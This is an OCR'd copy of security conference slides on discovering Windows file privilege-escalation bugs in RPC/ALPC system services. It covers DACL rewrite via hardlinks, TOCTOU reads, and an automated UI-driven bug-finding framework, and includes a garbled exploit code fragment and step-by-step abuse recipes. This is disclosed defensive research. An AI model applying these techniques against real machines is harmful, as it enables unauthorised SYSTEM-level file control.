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Tencent
Largest social media and entertainment company in China.

Tencent Security Xuanwu Lab

Applied and real world security research.

About me : Member of Advanced Security Team
Google security hall of fame / MSRC Top 100

focus on web application security , interested in local bugs hunting now.

BEHEEZHXNE

TENCENT SECURITY XUANWU LAB

Tencent i
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This talk is based on

Windows 10 1803 / 1809
Vulnerabilities reported to MSRC

Visual Studio 2017
Vulnerabilities reported to MSRC
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Outline

Findings
Automatic bugs found by
framework
Silver bullet Build the
discovery
41 case study Where / how framework
can | find bugs
Introduction L.earn.from
historical bugs

What’s new in
this talk
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Introduction : privilege escalation bugs in system service

system user token

System services File / Registry / Handler

(RPC, COM , ...)

operation

Call

Restricted user
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Introduction : file privilege escalation bugs

SR a N[ Create/ Detele / Write

(RPC, COM , ...)

Target files

Grant Acess / Set Owner

Call

Restricted user
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Introduction : file privilege escalation bugs in RPC service

Protocol ISequences

Restricted user

Create / Detele / Write

Target files

Grant Acess / Set Owner
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Introduction : file privilege escalation bugs in RPC service

Protocol
Restricted user R 2 RPC services
Sequences

I
| | | | |
Ncalrpc : :
: ! ncacn_np ncacn_ip_tcp ncacn_ip_udp ncacn_http
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Introduction : Analyze ALPC interface

RPC viewer

Process

Monitor
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Introduction : Analyze ALPC interface

{:,‘ |D& - appinfo.idk (appinfo.dil) Di\work\windows_ida\appinfo.idb = [ x RpcView - O X
Eile Edit Jump Search \iew Debugger Options Windows Help File  Options View Filter Help
- 5 — i Processes
- H a v o s ﬂ"_ % - R & @ m& ﬁ af' ':~+ - *:I- 4l x b 0 O loadbochs ~ % E.’ X = Endpoaints g X
. : ) - Mame Pid Path 2
LR NN NS ] =R =S - Pid  Protocol  Name _
. " dilhost.exe 2620 Ch\Windows\Systemn32\dllhost.exe
g ; 200 ncacn_np ‘\pipehlsass " )
Library function [l Data B Regular function Urexplored Instruction External symbol . 5 msdtc.exe 2844 CA\Windows\System32\msdtc.exe
200 ncalrpe audit _
o - = - — — . ] :
tlFinctorsw. O & X T8 DA view-2 3 T3] Fene View-1. 1 e ) Eruams % imports (5% Exports 200 ncalrpe securityevent svchost.exe 2880 C.\Wfndows\SystemR\wchost.exe
: T = . 800 ncalrpe LSARPC_ENDPOINT ~ Searchindexerexe 3206 Ch\Windows\Systern 32\ Searchlndexer.exe
Function name AOU ecx, oFfset abull ; "HULL' 800 ncalrpe lsacap | " lsass.exe 800 CAWindows\System32\Isass.exe
___fj RAiProcessRunOnce(xxx 800 ncalrpc LSA_IDPEXT_ENDPOINT Csrss.&xe 704
200 ncalrpe LSA_EAS_ENDPOINT B winlogon.exe 752 CA\Windows\System32\winlogon.exe
E e (=] 800 ncalrpe Isapolicylockup B dwm.exe 608 Ch\WindowsSystemn 32\ dwm.exe
S 800 ncalrpe Isasspirpc fontdrvhost.exe 1384
loc 1@888DATE- 800 ncalrpc protected_storage explorer.exe 3188 Ch\Windows\explorer.exe
DUF;E eCx s 200 ncalrpc SidKey Local End Point i vmtoolsd.exe 1420 C\Program Files\VMwarel VMware Tools\vmtoolsd.exe
push dword ptr [eax+14h] 800 ncalrpc samss lpc 4 @l cmd.exe 2172 C:\\"J?ndows\S}rstemBZ\cmd.Exe
o N 3 mow edx, offset UWPP_65Fe284558218811cdBb5abBa7d96473 Traceguids B conhost.exe 3872 ChAWindows\System32\conhost.exe v
¥ | RAiProcessRunOnce | push dword ptr [eax+18h] < s
Line 1 of 1 push SAk
pop ecx g ; Interfaces &§ X Procedures 5 X
,ﬁ}. Graphover,, O &8 X call _WPP_SF_3@E28 : WPP_SF S5(¥,=,x,%,¥)
| Pid  Uuid Ver Procs Callback MName Base & Index Mame &
=z ry 800  11220835-5b26-4d94-aedb-c3ed75ad09de 1.0 3 +(k00003d20 ICryptProtect Oe0D00 7L T 0 EfsRpcOpenFileRaw_Downlevel
[ = | 800 Scbe%2cb-fdbe-45c9-9fc9-33e73e357b20 10 3 +(00003d20 PasswordRecovery Oe0D00 7L T 1 EfsRpcReadFileRaw_Downlevel
800  7f1317a8-4dea-4fa2-a5351-df3516ff8879 1.0 2 + (k00022630 OeDD00 7L T 2 EfsRpcWriteFileRaw_Downlevel
loc 10000492 : ! 800  c6B1d488-d850-11d0-Bc52-00c4fd90f7e 1.0 21 efsrpc G:D0007fbTc 3 EfsRpcCloseRaw_Downlevel
100.00% (37€,1123) (43,107) 0000CE00 1000D400: RRIPr ! i 800 51a227ae-825b-41f2-b4a9-1ac9337a1018 1.0 1 0x00007ffbbe 4 EfsRpcEncryptFileSrv_Downlevel
=] Culmit wiridos 800 Bfb74744-b2ff-4c00-beld-%ef92197felb 1.0 11 Oec0D00 7 bbe ] EfsRpcDecryptFileSrv_Downlevel
— et it = — = — J 800 b25a52bf-eSdd-4fla-aeab-BcaT272a0eB6 20 30 keyico 0000 7ffbbe §  EfsRpcQueryUsersOnFile_Downlevel
1808131508: using guessed type int _ stdcall RtlAcquireSRULockShared{_ DWORD}; ~ 800 12345778-1234-abcd-ef00-012345678%b 0.0 112 +(x00003250 lsarpc 0x00007ffb7d 7 EfsRpcCueryRecoveryAgents_Downlevel
186131542 using guessed type int  stdcall EtwEventWrite( DWORD, DWORD, DWORD, DWORD, DWORD}; 800 3919286a-b10c-11d0-9baB-00c04fd92ef5 0.0 1 dssetup OxDODOTFFbTd 8 EfsRpcRemovellsersFromFile_Downlevel
| 18813184: using guessed type int _ stdcall RegGetUalueW{ DWORD, DWORD, _DWORD, _DWORD, _DWORD, 800  acelc026-8b3f-4711-8918-7345d17fSbff 1.0 2 +0xD003c580 5_LSP_PRIVATE_DATA 0x00007ffb7d 9 EfsRpcAddUsersToFile_Downlevel
_DUORD, _DWORD); 80D  afc07ele-311c-4435-808c-c483ffeecTcd 1.0 3 +0xD00cOR10 0x00007ffb7d 10 EfsRpcFileKeylnfobx_Downlevel
1001327C: using guessed type int _stdcall CheckElevationEnabled(_DWORD); ) 800  c0d930f0-b787-4124-99bc-21f0echbd2ce 0.0 6 0x0D007ffbTd 11 EfsRpcFileKeyinfoEx_ Downlevel
1800132802 using guessed type int  stdcall CheckElevation( DWORD, DWORD, DWORD, DWORD, DWORD); . 800 d25576e4-00d2-43F7-00f9-b4c0T24158/9 0.0 3 Cx00007FbTd v 12 EfsRpcFileKeyinfo_Downlevel v
7 < > < >
Python
AU: idle Down Disk: T784GB Endpoints: 12/110 Interfaces: 21/199 Processes: 35/35
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Introduction : What’s new

f 100+ interfaces , 1000+ functions ( only in ALPC )
Too many to be analyzed

Fuzzer is designed to find memory corruption bugs , not logical flaw.
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Introduction : What’s new

Focus on the “Low-hanging-fruits
Easy to find , Easy to exploit

Automated if possible

What does those fruits look like ?

Low hanging fruits
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Case Study #1 : DACL rewrite (CVE-2018-8440)

\
‘ Task Scheduler Service ALPC

{
‘ schedsvc.dll
‘ SchRpcSetSecurity

‘ Grant Access to .job file
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Case Study #1 : DACL rewrite (CVE-2018-8440)

HRESULT SchRpcSetSecurity(
[1n, string] wchar_t* path,
[1n, string] wchar_t* sddl,

[in] DWORD flags
) ;

###### YW2BLACK HAT EVENTS
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Case Study #1 : DACL rewrite (CVE-2018-8440)

52| w28 = 9i6L;

53| memset_0{&kvu0, B8, Bx20Auidl);

54l w12 = tsched::TaskPathCanonicalize((tsched =)&uiB, v5, ull);

55/ if { v12 >= 8 )

56| ¢

L7 SecurityDescriptorSize = 8;

C8 SecuritybDescriptor = 0ibéh;

59 if ( vl

68 && tConvertStringSecurityDescriptorToSecurityDescriptorW (v, 1u, &SecuritybDescriptor, &SecurityDescriptorSize) )
61 {

62 u12 = tsched::GetLastHrError{uvil, vid);

63LABEL_67:

64 tsched::AutoLocalPtr<{unsigned short’>::~AutolLocalPtr{unsigned short>{&Securitybescriptor);
65 goto LABEL _68;

66 ¥

67 ClientToken = 0i64;

68 vi2 = GetGallerToken{L"SetSecurity", &ClientToken);
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Case Study #1 : DACL rewrite (CVE-2018-8440)

= JobSecurity::GetSddl(& s fu, &UZ2E);
if | < 8)
goto LABEL 62;

if { quword 1808BADA4S )
= quord 18008BADLE( . );

else
=1;
if ( < 8)
{
-ABEL_G58:

RpcAutoImpersonate: :RpcAutolmpersonate(&  L"RpcServer::Setiec
JobStore::SetSddl{via, . );: |
if ( )

RpcRevertToSelf({};
if ( quword_1888BADA4S )

quord 1808BADL4SE ( . Y;
goto LABEL 63;

¥
RpcAutoImpersonate: :ApcAutolmpersonate(& » L"RpcServer:iSetSecur
= Job5tore: :5et5ddl( . . Y;
if | < 8)
1
if )

RpcRevertToSelf(});
goto LABEL 57;
h
if | )
RpcRevertToSelf({};

= JobSecurity::Update(& s
#BHUSA YW@BLACKHAT EVENTS
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Case Study #1 : DACL rewrite (CVE-2018-8440)

SetSecurity::RpcServer

ConvertStringSecurityDescriptorToSecurityDescriptor
TaskPathCanonicalize

JobSecurity::Update

JobSecurity::AddRemovePrincipalAce
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Case Study #1 : DACL rewrite (CVE-2018-8440)

.

win Properties *

create a hardlink named xxx.job
point it to C:\windows\win.ini =
call the SchRpcSetSecurity T —

a mathias (DESKTOP-205G KDL \mathias)
D O n e I | 82 Administrators (DESKTOP-209GKDL Administrators)
I | 8% Users (DESKTOP-208GKDL Users)

To change pemissions, click Edit. Edit
Pemissions for Authenticated

Easy to flnd ) Easy tO eXp|O|t US:jlc:-:urrtml - =
“ 1 N ) Modify
low-hanging fruits” !

v
Read & execute W
Read W
Write vl"

Special pemissions

For special pemissions or advanced settings, Tl
click Advanced. =

Cancel Anp
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Case Study #2 : TOCTOU Readfile (CVE-2019-0636)

. Installer Service

\

. MsiAdvertiseProduct

[

enables the installer to write to a
script the registry and shortcut

/
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Case Study #2 : TOCTOU Readfile (CVE-2019-0636)

UINT MsiAdvertiseProductA(
LPCSTR szPackagePath,
LPCSTR szScriptfilePath,

[PCSTR szTransforms,
LANGID lgidLanguage

);
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Case Study #2 : TOCTOU Readfile (CVE-2019-0636)

Revert to System

Impersonate Co
o The copy is readable

for current user

Check Access SzPackagePath
SzPackagePath =>
c:\windows\installer

#BHUSA YW@BLACKHAT EVENTS
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Case Study #2 : TOCTOU Readfile (CVE-2019-0636)
Battle with TOC-TOU

Oplocks
Based on DeviceloControl function m

define Callback function
win TOCTOU In 1 time

ALY

ReadDirectoryChangesW
No lock
Brute force is needed

#BHUSA YW@BLACKHAT EVENTS
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Case Study #2 : TOCTOU Readfile (CVE-2019-0636)

vhile (TRUE}
i
ReadDirectoryChangesWihDir, (LPVOID)&strFilelotifvyInfo, sizeof (strFileWotifvInfo), TRUE, FILE_NOTIFY CHANGE FILE NAME, &dwBvtesEeturned, NULL, NULL);

filenamel = strFileNotifvInfol[0].FileName;

std: ;wstring df = std: :wstring(root) + filenamel
std: iwstring:  =ize tvype found = df.find{extension)
if (found !'= =td::wstring::npos)

|

FeparzeFoint:  CreateMountPoint (L7c: %4blakh”, targetfww, L°7);
1

do {
hFile = CreateFile{dfc, GENERIC RELD,FILE SHARE FEAD | FILE SHARE DELETE | FILE SHARE WRITE, NULL,OFEN EXISTING,FILE ATTRIEUTE NORMAL, NULL)
DWORED  dwBstesEead = 0O;
FeadFile(hFile, buff, 400, &dwByvtesEead, NULL):
if (dwBvtesFRead > 0)
|
succeeded = true;
for (int i = 0; i < 400; i++) |
std: :cout << buffl[il;

1
std: :cout << =td: :endl << "press any key to exit”;
return 0;

1

CloseHandle (hFile) ;

#BHUSA YW@BLACKHAT EVENTS
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* Analyze ALPC interface related to impersonation

Not only ALPC interface but also documented function related to system
service

they make mistakes here again and then again

« Something new ... {_Q)
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Silver bullet: Analyze ALPC interface < impersonation

origin_url="https://docs.microsoft.com/en-us/windows/desktop/api’

target_url="https://docs.microsoft.com/en-us/windows/desktop/api/_setup/"' ¢ Export ALPC InterfaCe from RPC Vlewer
Function related to impersonate file operation

r=requests.get(target_url, proxies=proxies)

Regex = re.compile(r'<li><a href=".+(/.+/.+)" data-linktype="relative-path"")
Regex2 re.compile(r'href="/en-us/windows/desktop/api(.+?)"")

mo = Regex.findall(r.text)

url list=List()

urlList_2-List() * Collet function list from MSDN

1 mo:

url_tier. sppend(origin urlistr(i)) Function related to system service

Jj url list:
r=requests.get(j, proxies=proxies)
mo = Regex2.findall(r.text)
k mo:
url list 2.append(origin_url+str(k))
g.put(origin_url+str(k))
"init ready..."
i range(0,10):
Scanner().start()

#BHUSA YW@BLACKHAT EVENTS
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Bug

0

Program Compatibility Assistant Service ALPC

\

‘ pcasvc.dll

RAiIGetFileInfoFromPath
/

‘ get metadata from path

N\

#BHUSA YW@BLACKHAT EVENTS
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Bug #0
= RpcImpersonateClient( )3
if | )
goto LABEL 2;
= CreateFilell( , Bx8008008688, 1u, 0164, 3u, Ox80u, 0164);
= RpcRevertToSelfEx( );:
if == (HAHDLE}-1 )
1
= GetLastError();
qoto LABEL 5
}

CloseHandle{ j =

#BHUSA YW@BLACKHAT EVENTS
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Only use
Impersonate
to check

dCCessS

Do operation
as system
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But this is not the bullet we want

=+ Hard to Automated
| too many & reverse engineering is real hard

« Low-hanging-fruits were sold out

#BHUSA YW@BLACKHAT EVENTS
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* Analyze ALPC interface related to impersonation

Not only ALPC interface but also documented function related to system
service

they make mistakes here again and then again

« Something new %/
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Silver bullet: Trigger function call with Ul interaction

Microsoft Store

Games

& Home Apps

0 You own this app.

TEEMN

Users Interact
==Y:I-] Shares Location

= O

LOsearch & 410

Instagram

Instagram + Social

12 Share <7 Wish list
* % K 1,269
Instagram is a simple way to capture and share the world's moments. Follow

your friends and family to see what they're up to, and discover accounts
from all over the world that are sharing things you love. Join the community

More

*

How to trigger function
call without reverse
engineering

#BHUSA YW@BLACKHAT EVENTS
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Build automated framework
Template for DACL rewrite bugs

Do random Ul interaction
( Click , Press button )

start application from Hook process monitor to

system apps list detect “SetSecurity” Call

Try to replace the path
with symlink or hardlink,
test if DACL changed

Save the |og +BHUSA YWEBLACK HAT EVENTS
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Build automated framework : target

1. Windows 10 apps
Camera / Xbox live .....

2. System application
Network manager / Windows defender ...

3. Microsoft product
Office / Visual Studio ...

#BHUSA YW@BLACKHAT EVENTS
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Build automated framework : Ul interaction

Mouse : get handler of target’s window ( )
click button / menu list

Keyboard : press “enter” / some other keys

#BHUSA YW@BLACKHAT EVENTS
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Bug

1

AppX Deployment Service

\

‘ Simple “Click” to trigger
|

Set DACL for settings file

[

‘ C:\Users\<username>\AppData\Local\Packages\<Packagename>

N\

#BHUSA YW@BLACKHAT EVENTS



bIQ:k hat

LISA 2013

Replace
settings
file with
hardlink PP

Run Get full
windows control of
any file
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vchost.exe
mlsychost.exe
misychost.exe
misychost.exe
misychost.exe
misychost.exe
migsychost.exe
migsychost.exe
migsychost.exe
1System
1System
1System
5System
1]System
1System

kKhat
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Bug

1

4900

etSecurityFile SUCCESS

4900 B\SetSecurityFile SUCCESS
4900 B-SetSecurityFile SUCCESS
4900 B-SetSecurityFile SUCCESS
4900 E\SetSecurityFile SUCCESS
4900 EhSetSecurityFile SUCCESS
4900 =hSetSecurityFile SUCCESS
4900 =hSetSecurityFile SUCCESS

1676 B\WriteFile
4 B\WriteFile
4 B\WriteFile
4 B\WriteFile
4 B:\WriteFile
4 B\WriteFile
4 B\WriteFile

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

C :\U5ers\mathias‘tAlplpData‘tLocaI\F’ackaées‘tl"u'licrosoft.WindowsCameraiSwek;fb3d8bbwe\Settin§5‘tsettinés .datLOG1

=] Event Properties

Event Process Stack

Fr...
u2s
u26
u27
u28
u29
u 30
U 31
u32

Module

rpcrt4.dll
rpcrt4.dll
rpcrt4.dll
rpertd.dil
rpertd.dll
rpcrt4.dll
rpcrt4.dll
rpcrt4.dll
rpcrtd.dil

Location

NdrServerCallAll + 0x3c
NDRSContextMarshall2 + 0x2014
NDRSContextMarshall2 + 0x1178
NDRSContextMarshall2 + 0x19¢cb
RpcServeringCallAtributesW + 0x4756
RpcServeringCallAtributesW + 0x515¢
RpcServerlngCallAtributesW + 0xfbd
RpcServerlngCallAtributesW + 0x26bd
|_RpcSend + 0x1a8

O

Addi”
Ox 71t
Ox 71t
Ox 71t
Ox 71t
Ox 71t
Ox 71t
Ox 71t
Ox 71t

bl Al

D A lmma s COWAN mmlrCaomliiminem L Mar 1 Ol

N1

>

stings.dat. LOG2

che
okies
story

sttings.dat. LOG1
sttings.dat
sttings.dat
ettings.dat
=ttings.dat

ettings.dat

0.0000214
0.0000132
0.0000174
0.0000156
0.0000173
0.0000153
0.0000147
0.0000623
0.0000432
0.0014818
0.0000256
0.0008878
0.0000080
0.0000032
0.0004517
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Bug

L Tl N L Vv W 1s1 Fa " R, =k 54 o0 B8

Time of Day Process Name PID Operation Result Path
B C:\Windows\system 32\ cmd.exe = O
£ (2]
. & cut lew Rem ~ ODpen = 2le
C:\Users\mathias> o . = Copypatn {1 clct nons
This PC Local Disk {C:) Windows < c 0
2 ~ =
Ouick access 2 hhece
§ Desitop Isasetuplog
L Downloads £3 MEMORY.DMP |
Documents e
3 notepad.exe
| Pictures
§ Lecal Dk (C .
System32 ProfescionalEducatinn.mil
templ * Profes alWorkstation.smil
ows W regeditene
setupac
OneDrive =
This PC == splw
Metwark -
vin - Copy.in
Ain
WindowsShell Manifest w
erns en byte -
T Heme "
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Bug #2

Diagnostics Hub Standard Collector Service

\

‘ “Click button from menu” to trigger
|

Create X-X-X-X-X.scratch file
/

‘ Set DACL for X-X-X-X-X file with same name

N\
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7 Event Properties B O >

Event Frocess Stack

Image
-'i_"= Microsoft (R) Visual Studio Standard Collector

Microsoft Corporation

Mame: StandardCollector . Service.exe
Version:  15.9.18214. 2 built by: DiagnosticsHubMicroBuild
Path:

! C:\Program Files (x86)WMicrosoft Visual Sh_ldiu:u'n,SharEd'-,C_u:ummu:un'ﬂiagnnsﬁcsHuh.CDllecﬁDn.SEEicE'EtandardCDIIecb:ur.Service.exe |

Command Line:

| "C:\Program Files (x86)Microsoft Visual Studio\Shared\Common\DiagnosticsHub, Collection. Service\StandardCollector. Service . exe” |

PID: 4628 Architecture:  64-hit

ParentPID: 600 Virtualized: False

Session ID: 0 Integrity: System

User: T AUTHORITY\SYSTEM;

Auth ID: 00000000:000003e7

Started: 1/21/2019 8:26:30 AM Ended: (Running)

Modules:
Module Address Size Path Company Version Timestamp 3 i
StandardCollect... O0x7ff7d0720000  Ox23000 C:\Program Files (x86)\Microsoft Vis...  Microsoft Corpo... 15.9.18214.2b... &/2/2018 1:33:...
DiagnosticeHub. ... 0x7ff9a78b0000  0xE1000 C:\Program Files (x86)\Microsoft Vis...  Micosoft Corpo...  15.9.18214.2b... 8/2/2018 1:37:...
msvip 140.dll Ox7f9a7940000  OxSb0O00 Ci\Windows\System32ymsvep 140, dil Microsoft Corpo...  14.16,27012.6... 10/12/2018 3:1...

* || ¥ | [InextHighlighted Copy Al
4688 A SetSecurityFile SUCCESS C:\Users
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4688 B.QueryDirectory
4688 BhQueryDirectory
4688 B.CloseFile
4688 S CloseFile

SUCCESS
NO MORE FILES
SUCCESS
SUCCESS

C\Usersltest\AppData\Local\Temp\71A4C5BA-F641-428A-B7B9-4DEB6FCFECCE.scratch
C:\Usersitest\AppData\Local\Temp\71A4C5BA-F641-428A-B7B9-4DEB6FCF6CCE .scratch
C:\Users'test\AppData\Local\Temp\71A4C5BA-F641-428A-B7B9-4DEB6F CF6CCE.scratch
C:\Users\testiAppData\Local\Temp\71A4C5BA-F641-428A-B7B9-4DEB6F CF6CCE.scratch

9684 ‘‘CreateFile
4688 B CreateFile

4688 B\ CloseFile
ARRA AL CraataFila

NAME NOT FOUND
SUCCESS

SUCCESS
SlcCrEss

C:\Users\testiAppData‘Local\Temp\TOCTOU HERE
C:\Users\test\AppData\Local\Temp\71A4C5BA-F641-428A-B7BS-4DEBEFCF6CCE

C:\Users'test\AppData\Local\Temp\71A4C5BA-F641-428A-B7B9-4DEB6FCFECCE
Al learstaet AnnNatall acallTemn\ 71 AACERA-FRAT1-A7RA_R7RA-ANFRAFCFRCCF
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Windows defender service

\
‘ “Click button from right click menu” to trigger
‘ Quarantine “Current threats”

/

‘ Set DACL for virus file

N\
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Current threats

Current threats are items detected by a scan, that require action.

€ Threats found. Start the recommended actions.

Start actions
HackTool:Win32/Mimikatz.E High

3/15/2019

Action options:

@ Remove
O Quarantine
o Allow on device

See details
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12:27:33.0318854 AM sMpEng.exe 2776 & CreateFile SUCCESS C:\Users'test\Desktop\mimikatz.exe
12:27:33.0319171 AM TMsMpEng.exe 2776 B\QueryBasiclnformationFile SUCCESS C:\Users'test\Desktop\mimikatz.exe
12:27:33.0319284 AM TMsMpEng.exe 2776 B\SetBasiclnformationFile SUCCESS C:\Users'test\Desktop\mimikatz.exe
12:27:33.0319751 AM TIMsMpEng.exe 2776 B\SetDispositionInformationFile SUCCESS C:\Users'test\Desktop\mimikatz.exe
12:27:33.0319857 AM TMsMpEng.exe 2776 B\QueryAttributelnformationVolume SUCCESS C:\Users'test\Desktop\mimikatz.exe
12:27:33.0320951 AM TIMsMpEng.exe 2776 BACreateFile DELETE PENDING C:\Users'test\Desktop\mimikatz.exe
12:27:33.0324208 AM TMsMpEng.exe #7 Event Properties - o x | C\Users\testiDesktop\mimikatz.exe
12:27:33.0325803 AM =MsMpEng.exe oy C:\Users'test\Desktop\mimikatz.exe
12:27:33.0328571 AM TMsMpEng.exe v Process Sodk C:\Users\testiDesktop\mimikatz.exe
12:27:33.0330857 AM TMsMpEng.exe - j’;fn*'m IO AN C:\Users\test\Desktop\mimikatz.exe
12:27:33.0334656 AM TIMsMpEng.exe — File System C:\Users'test\Desktop\mimikatz.exe
12:27:33.0334894 AM TMsMpEng.exe Operation:  CreateFile C:\Users'test\Desktop\mimikatz.exe
12:27:33.0335258 AM TMsMpEng.exe j:;j.'“ z-ﬁf;mwesmpwmm C:\Users\test\Desktop\mimikatz.exe
12:27:33.0948088 AM TMsMpEng.exe Duaton:  0.0000153 ' C:\Users\test\Desktop\mimikatz.exe
12:27:33.0950290 AM =MsMpEng.exe _ _ o _ C:\Usersltest\Desktop\mimikatz.exe
12:27:33.0952714 AM "MsMpEng.exe Depcatons g (e N DA Ao C:\Users\testiDesktop\mimikatz.exe
12:27:33.0965508 AM =MsMpEng.exe ifé’iiﬂigs:. ’°”“°”°”"”E” PSR C:\Users\test\Desktop\mimikatz.exe
12:27:33.4125790 AM =MsMpEng.exe iuii“ﬁ*ﬁns}e: o ';‘”'f' e C:\Users\test\Desktop\mimikatz.exe
12:27:33.4127519 AM TMsMpEng.exe cpemesd opene C:\Users'testiDesktop\mimikatz.exe.exe
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Mame Date modified Type Size

M
0 haz

B=| mirmikatz.exe 371572019 2:37 AM Application | KB

| mimikatz.exe - Motepad

File Edit Format View Help

h23

General Compatibilty Securty Details  Previous Versions
Object name:  Chllzsers‘test™td'\mimikatz exe

Group or user names:
BR Everyone
SR SYSTEM
.-3 test (DESKTOP-7UJERD 1 est)
.-3 test2 (DESKTOP-7UJERD 1'test2)
H® Administrators (DESKTOP-7UJERD 1" Administrators)

To change pemissions, click Edit. Edit

Pemissions for Everyone Allow Deny

Full cortrol

Madify

Read & execute
Read

Write

Special pemissions

Fn;lr special pemmizsions or advanced settings, Advanced
click Advanced.
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